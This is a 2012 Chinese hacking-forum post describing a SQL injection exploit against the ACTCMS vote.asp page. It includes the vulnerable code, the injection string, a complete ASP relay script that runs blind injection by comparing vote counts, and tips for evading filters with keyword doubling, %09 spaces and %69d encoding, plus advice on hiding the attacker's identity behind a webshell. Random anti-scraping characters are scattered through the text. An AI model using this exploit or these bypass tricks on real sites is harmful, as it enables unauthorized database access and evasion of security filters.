找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2448|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1 A' V; f( U+ h2 ~& B$ U3 \看到ninty大牛的blog的一篇文章& N' X* T7 q) L. x
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
2 S  c! |- B- G$ |+ a. ^: N关于actcms漏洞的利用  by 3x qq:381862589$ V/ V* {4 Y, ?: E
转载请注明以上
1 w/ f, L/ z3 d$ h4 i3 a$ M: b漏洞文件:
$ n, r( J7 G5 r  D/plus/vote/vote.asp! I2 o, A3 \( k- D. D
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
8 M% z! x9 D* L5 v! j
2 W+ Z2 B2 j  \7 y  {! J2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   . A( t- ~5 U7 z0 W- W

/ n  Z! D3 U( v5 i9 B; p2 v  o! _3    response.end   
) a9 s) I" o( @$ W! T1 O8 S  n( ?3 t5 _* m4 O2 ^" a% ~
4    end if   
6 \4 j6 Z2 O9 F3 q1 f) d: s( b, v) ~( p1 H" z/ Y
5    for i=1 to request("voted").count    # _0 _: B: l2 X

2 U  d5 r1 _8 a. T1 M6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))      t0 _* L$ G6 U

( D4 I) O. S! t0 u* R) h  _. {7    next    " V9 s" {; k% I  U) v
5 A4 P+ p& {3 r
8....   
4 K0 k- p- N( W/ E
  o( Y" m( u* s5 U0 G7 P$ a6 D9response.Redirect "index.asp?id="&id&""   $ g7 a! x. d; ^1 q% Q/ @
投票结束回跳转回index.asp这个投票结果页面
+ [2 Y, X2 |' e) I0 F: f如果投票成功票数加1" L& A9 j3 ^: c- M$ c* F& o* b- i$ y
            失败票数不变  V5 `/ {- k; f5 ?+ v
如图:, b0 ?0 G5 L) N) F
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)+ c& D. Y; Q$ K4 V
* @2 t) |8 D7 R, i1 {/ [
2009-12-27 13:20
2 v* z* z' x0 i  I. P* T  }$ t8 Z
7 r4 U3 W3 ^3 g; q9 M/ R利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了4 U; Q# M' r# Q% U6 ~8 M9 t

7 q1 H+ N0 L  {: Z, v. F本帖隐藏的内容需要回复才可以浏览
& L; L+ Q8 l5 m0 u/ X1 Z& L$ t% L/ _- l我们用注入中转来实现这个注入具体代码如下:
5 f5 m, ^2 J0 u! d$ o先用寂寞的刺猬大牛的注入中转生成jmget.asp) s4 G1 a% X" {3 }2 k" w
注入地址:http://localhost/actcms/plus/vote/vote.asp
+ z0 {  v. V; h: h4 U8 |注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项9 {. ?0 o2 @7 g& B7 M

: Z9 O+ ?* n8 E" C然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
% }9 x) f- F3 t/ e; E
* M) a* Y& d2 n" S1 Q- O02JmdcwName=request("jmdcw")
4 r( q8 p- z7 A4 Q" N9 V; H; Q5 b
0 A/ y. O; P+ z: l% I+ M" S03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] % R. h( k7 o. Z; v5 e

5 N7 I& a# A9 m/ N; @04JmStr="id=1&voted=-1 or 1="&JmdcwName ) P9 A4 ?7 n  m1 ^# |8 M5 R
, u" S2 M, D$ E( p
05JmStr=URLEncoding(JmStr) - X" C8 {6 n( w3 A* J& s- u( X
6 J, M7 Q% e$ o7 y! V- y) O# S
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
2 o5 f1 Q( s* |) t& ^6 N- i9 n5 X8 h4 M1 l) V; q. W& \
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"( Z2 o/ Y) v) O( l
/ D8 T: ~( o! |; n6 N/ q
08testurl=testurl & "?" & JmStr # M6 Q. N0 V& L
# Y9 a2 t3 i. |) y' |+ s2 M
09JMUrl=JMUrl & "?" & JmStr
2 P( J6 |/ Q; z+ x
4 g$ Q3 }1 L* e+ g* m10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 _3 E# `& \5 p
8 q' E1 a: o# D( H3 ~11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
' r" O4 D0 Z0 Z" I: z# e7 K! n
1 C: ?5 w7 o# D7 G/ b12JmCok=replace(JmCok,chr(32),"%20")  " R1 J5 ~0 m4 G- `% u" L
/ _; m, ]9 [. {+ d
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ) v2 @/ _  P1 \
& w  O) \- N5 b; t! f. t
14  
; c# ^0 H& K$ @( N' L* J5 `# a( T5 u! N8 ~9 i- n
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
! _/ i8 O; t7 i+ Q
; h. I. i( v# |1 K, l# y/ W16  
- m3 T" I0 Y9 a) o; P; q  ~1 ?/ ]+ {  Y/ G) \$ k
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
' ], h2 S$ K& \; @$ }0 ?* Z2 d" J% n3 ~) u4 Q( R. W! N+ R
18response.write test1&""&test2&""
9 @8 L2 g$ ]& @4 K7 b
* d  a1 y+ C8 r- K19  . C8 ]9 P' q. Z. B
9 s* J4 F  Y* {) k& [! d# Y
20if test1=test2 then '如前后记录相等,表示失败
8 J& N$ E0 V, {: A4 @7 h: s) a
, W7 ]% t9 c  ~, Q21  response.write "failed"
/ z+ U* a1 M! M" l8 ~' q6 b
: w" L2 r2 t! i/ P* g/ Y22else ( K0 o0 K, o: c- m0 m. ?

0 z" P* D6 v$ R6 v; C2 d9 p23  response.write "succeed"" L7 c' a2 |/ H9 K

* Q! L7 {5 @/ n, S24end if  
  @) q/ L0 X. x6 g( ~- W: ^
8 s+ M" |* ^) o9 u; t- W! C25  + b0 c0 ^; h  o
- I, }, M" x6 Y( L& P1 v+ i4 K
26response.write "by 3x"2 Q6 }( n. }* B2 }
' v, w5 ~0 o+ k) Q9 N
27  ) T  D1 L/ |+ _  {& A7 X

# e5 O4 h& h% y8 o; ]9 C  m0 r28  8 O/ }+ f: y  l6 k# s
: b! ~/ L5 W* |4 ~1 N" u3 B' ^
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
' N$ e; {9 X# N. b7 r+ U7 o0 ~1 r& I$ R0 y
30Dim Http
7 V" k8 `$ q0 k$ n. H( Z, r
1 O" ~0 h1 U4 e2 w) y1 Z+ l( Q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 3 x3 M$ X3 A" U8 x- |0 y

9 Q8 \3 R! Q, `( s1 v32With Http ' j- O" i) Y+ {% M  ~

+ ~7 E0 @* P# l33  
+ K8 e- T8 @7 D
. e3 W$ b2 H  J: P* d34.Open "GET",PostUrl,False; M% ~! S, {1 x5 s

5 l% h% Y7 P: y% y35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
* y1 \  ?5 |. K6 }# O
0 p- {2 `, q+ Q36.SetRequestHeader "Referer",PostRef * c( _3 F# s. i# f0 p7 `

) C. a4 K+ z: H) ~$ O- p6 S37.SetRequestHeader "Cookie",PostCok 1 S, d7 D/ o6 x- U
+ e& u8 D, R" D
38.Send () 7 r8 j" j9 m" i

6 B2 |% _8 `0 f& o3 ~39PostData = .ResponseBody . R! V3 r/ j% G/ `- l; L
) x6 j  \: m' ~+ I  ?
40End With
9 p$ B0 E, k3 Y, ^) z, ?
' Y' v' m- }9 X: r6 \41Set Http = Nothing
" F, [! V- l- M7 E. ?' Z+ G( E# }- |
42PostData =bytes2BSTR(PostData)
& U& I3 L8 C& b2 X3 ?5 ]+ b+ p' G3 G( _9 ^& ]
43End Function- g. z5 M6 t2 q/ t) L

* z3 G' ?/ c- ]2 J2 V! L6 w6 P1 o/ L44  
( y6 O' G1 g  W  J; f) U# ]4 V
# w7 V4 }( m  S# m& H45    ^: ]8 A( d+ b9 h7 p

4 b$ w1 H( m8 w- ]5 w3 ?46Function bytes2BSTR(vIn)
2 K' r2 c' n, q  p$ ]( W$ v* N8 H+ v' ^
47Dim strReturn
! i, Y9 L" r, X) \" Q
0 J( `* M7 v: d; C& B' b* U4 \48Dim I, ThisCharCode, NextCharCode
: }. y7 Q0 e) a* V& [2 K2 V
9 E! z3 l2 k; y0 ~49strReturn = ""
  i: m" E5 q! [5 ~; z3 s; P+ m
5 M8 n* ]' `- q$ R50For I = 1 To LenB(vIn) ; U" S. ]! o' s: C4 \8 K2 T, C

; ]/ d: O2 d$ i" A51ThisCharCode = AscB(MidB(vIn, I, 1)) " [. Y* D# y2 D# I1 {
3 T+ ?8 U) q# ~" o
52If ThisCharCode < &H80 Then
8 T6 }- Z) C- V. E$ E9 g4 @' @6 K, n' S' ?% r5 U& h7 [1 J
53strReturn = strReturn & Chr(ThisCharCode)
9 X5 a) G5 U, T
8 I# y$ O9 A2 u( g- s- S54Else
4 j2 Z/ E% g7 N9 e0 W
; P' m+ @* I7 h8 v55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. \5 e+ V( P3 ^1 n, S, K5 u; Y/ _7 ^& l  G
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 8 ?& x4 X# L) q$ G' |- J. I

, R# @0 [1 o7 c8 f8 l; @/ R( n& O5 m57I = I + 1
5 |6 y: {& Y6 n: y2 r0 P; j4 Y
! m2 O) e& |* R2 f, J  f58End If
  A+ V0 R' }. m  U3 N9 V% n. @- O
* z, o  A5 e) L% q( Y59Next
+ e6 \3 ~8 w- j: X% p/ J: w" c& d" i2 C9 {: L& A% s# c0 ?
60bytes2BSTR = strReturn 3 ~- E2 t' \2 \. E* R
) o) K+ d9 c4 a9 O: i
61End Function
6 A* {" ]0 \  I( R' }+ \) J4 o- Q; n: R. `, p3 Z! [$ b
62  
& F: ]8 e$ k2 @) H* r5 c3 g7 S  B4 }
63Function URLEncoding(vstrin)  
/ n8 x: z, i6 Z1 o/ }
6 ]. F9 f% o6 t) E$ n! B! N64strReturn=""
  j. D/ n' i  p8 [6 b2 n; a
2 u1 W9 u5 k6 j5 M& D! E65Dim i
( W  k: n8 r/ b* e* S9 w0 i' x) N& ?6 m( W0 L1 M, ]
66For i=1 To Len(vstrin)
5 n+ u$ F- `5 l' V4 S3 ^6 I9 K9 c- T6 S" Z  U
67ThisChr=Mid(vstrin,i,1)
6 J( S& {* `3 P+ r& |1 N3 E) q" y3 V! S/ z, ?$ Q- C; [6 ~
68if Abs(Asc(ThisChr))< &HFF Then- x: e3 E3 S9 ^- g

. W: o  P9 T- x9 `/ s69strReturn=strReturn & ThisChr
2 ^5 ?( b/ @# D& X. K9 [6 }- P% U2 e* I" K& u6 Z
70Else
. O( g$ A$ Z4 x7 p0 m  V8 t" @# s: t7 R# w) Q  L* \
71InnerCode=Asc(ThisChr)
0 ]3 H5 R' P0 _- t
  L( i; d# J' ^- E72If InnerCode<0 Then
% @" C0 _+ a' H- c; \  J  _$ i* `! _8 t5 U5 L* }  s
73InnerCode=InnerCode + &H10000 * Q! ^8 @) J- |4 K  d1 ^+ n/ f
; Z. v6 U$ Q. X# Q# ^$ G
74End If; n( M$ L' }- p
5 r4 v1 P4 n; F/ w5 F) |
75Hight1=(InnerCode And &HFF00) \&HFF
( ~4 l: ]# \$ D( W$ d) ?9 b4 F; m( I  }. A
76Low1=InnerCode And &HFF 1 @% _% I+ _/ [* l
$ v9 x+ a, ^/ A5 S, [4 U+ [$ g
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
' ]- d, F; ]8 e  p
  t0 F- g4 @) ]0 R/ O78End if / r% S% b2 c- P! B

& W. L. p" y+ {0 C* M0 V) X79Next) M/ w; C. Q9 j! D

8 ~9 s7 h* |0 b/ f9 w# a* j% z5 ]80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
) Y: `/ J$ W- p5 s" D' v  L
8 P& u* `% i; C81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
. M5 W8 S; c9 ^
4 u' K3 w7 N  Y4 [82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 6 K1 j. G# y6 N0 z8 n
, w: G$ s' E- T
83URLEncoding=strReturn 3 F0 ?% {$ O( Q0 r2 @, _4 o
: R; P5 b& a( n. [2 _+ h
84End Function
# B) k2 @; x; Y/ C
( |0 k7 y% ^% \% s4 b85  
2 a) j1 u9 \  ?/ p$ e: T' X
7 y) S) A+ Z& w8 E9 ^86function getSt(body) 9 g3 g' J& E; j! c! b/ T. C) Z2 |
  ?8 Q* c* {: h
87  startpot=instr(body,"投票人数:")+len("投票人数:") 9 ~0 @# _8 {: Q

. u. G4 `/ ]. q- Z$ o# S88  endpot=instr(startpot,body," ")
8 _' @. A7 N  b" Q, j3 L
& R+ y) ~, H) G; A; u" r89  getSt=mid(body,startpot,endpot-startpot) # f( u2 q3 e# i/ I3 j2 G9 F

4 }5 z: |1 u: `$ Q- I' ?( L7 i90end function 5 y* S' E- n5 @
" `8 y6 D# [; z4 ?$ M! R
91%>
. B$ h3 c5 @2 w/ k+ `% v+ W& z注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了  A( ~; @' Z- `' |. q- y
测试下效果:
9 J, {1 J( t( @- Z4 r) Y投票成功:0 E% E$ G0 J2 V5 E
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)' u4 z; K9 f7 P/ \7 j7 d
- s5 q- x* o! `8 z
2009-12-27 13:29/ n: C# o( C( J- t. m! s  p; g
投票失败
+ @+ z% V4 ~8 G+ K+ H+ {http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)* M+ i- y2 v6 e* Z/ k' f( [
" s: Q4 k! ~0 [. V2 g8 W& G, q
2009-12-27 13:29' c$ H8 P, O& v, F
-------------------------------------------------------------------------------
, f; ]0 [' B$ v& B, t再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以1 k1 e, l; G1 |6 x8 d
很抱歉。。。只能用单线程工具去注入。。。。。! t% r- d# b0 W! ~4 y; B6 C! ?
所以失败。。。不好意思。。。4 N6 D7 U2 [5 S5 _) f
-------------------------------------------------------------------------------
; M% H: B- \8 c: F5 W  M: j# S, L5 g) b  V  e
注入中转的一些其他应用: v- v3 y- G5 k( S
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了0 C' |% l) _7 m# J2 C, V! x
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
* Z1 G' ~  K! Z' ]% g. X. b2.post注入转成get型的注入,方便我们使用工具来跑- ~$ {3 {! ?7 e' e/ S* H
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")$ j4 `( j, l" V5 V
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
* H- J  j6 ?/ ?2 q( \/ |+ c$ p. \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表